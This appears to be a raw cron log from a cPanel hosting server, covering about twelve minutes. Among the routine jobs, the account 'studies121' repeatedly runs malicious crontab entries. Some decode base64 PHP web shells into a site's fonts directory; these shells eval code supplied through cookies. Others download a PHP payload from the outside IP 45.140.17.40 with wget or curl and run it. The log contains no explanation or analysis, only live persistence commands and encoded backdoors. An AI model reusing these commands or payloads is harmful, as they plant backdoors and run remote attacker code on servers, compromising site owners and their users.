Sep 10 10:36:01 ip-184-168-122-23 CROND[21042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:36:01 ip-184-168-122-23 CROND[21045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:36:01 ip-184-168-122-23 CROND[21046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:36:01 ip-184-168-122-23 CROND[21047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:37:01 ip-184-168-122-23 CROND[21171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:37:01 ip-184-168-122-23 CROND[21172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:37:01 ip-184-168-122-23 CROND[21173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:37:01 ip-184-168-122-23 CROND[21174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:38:02 ip-184-168-122-23 CROND[21293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:38:02 ip-184-168-122-23 CROND[21294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:38:02 ip-184-168-122-23 CROND[21297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:38:02 ip-184-168-122-23 CROND[21298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:38:02 ip-184-168-122-23 CROND[21300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:39:01 ip-184-168-122-23 CROND[21528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:39:01 ip-184-168-122-23 CROND[21530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:39:01 ip-184-168-122-23 CROND[21531]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 10:39:01 ip-184-168-122-23 CROND[21532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:39:01 ip-184-168-122-23 CROND[21529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:40:01 ip-184-168-122-23 CROND[21657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:40:02 ip-184-168-122-23 CROND[21659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:40:02 ip-184-168-122-23 CROND[21663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:40:02 ip-184-168-122-23 CROND[21664]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:40:02 ip-184-168-122-23 CROND[21661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:40:02 ip-184-168-122-23 CROND[21662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:40:02 ip-184-168-122-23 CROND[21669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:40:02 ip-184-168-122-23 CROND[21673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:41:01 ip-184-168-122-23 CROND[21782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:41:01 ip-184-168-122-23 CROND[21786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:41:01 ip-184-168-122-23 CROND[21784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:41:01 ip-184-168-122-23 CROND[21788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:42:01 ip-184-168-122-23 CROND[21925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:42:01 ip-184-168-122-23 CROND[21927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:42:01 ip-184-168-122-23 CROND[21928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:42:01 ip-184-168-122-23 CROND[21930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:42:01 ip-184-168-122-23 CROND[21929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:43:01 ip-184-168-122-23 CROND[22069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:43:01 ip-184-168-122-23 CROND[22070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:43:01 ip-184-168-122-23 CROND[22072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:43:01 ip-184-168-122-23 CROND[22074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:44:01 ip-184-168-122-23 CROND[22178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:44:01 ip-184-168-122-23 CROND[22179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:44:01 ip-184-168-122-23 CROND[22176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:44:01 ip-184-168-122-23 CROND[22177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:44:01 ip-184-168-122-23 CROND[22175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:45:01 ip-184-168-122-23 CROND[22438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:45:01 ip-184-168-122-23 CROND[22440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:45:01 ip-184-168-122-23 CROND[22442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:45:01 ip-184-168-122-23 CROND[22441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:45:01 ip-184-168-122-23 CROND[22443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:45:01 ip-184-168-122-23 CROND[22444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:46:01 ip-184-168-122-23 CROND[22578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:46:01 ip-184-168-122-23 CROND[22580]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 10:46:01 ip-184-168-122-23 CROND[22582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:46:01 ip-184-168-122-23 CROND[22583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:46:01 ip-184-168-122-23 CROND[22586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:46:01 ip-184-168-122-23 CROND[22584]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 10:46:01 ip-184-168-122-23 CROND[22585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:47:01 ip-184-168-122-23 CROND[22715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:47:01 ip-184-168-122-23 CROND[22716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:47:01 ip-184-168-122-23 CROND[22717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:47:01 ip-184-168-122-23 CROND[22718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:48:01 ip-184-168-122-23 CROND[22856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:48:01 ip-184-168-122-23 CROND[22857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
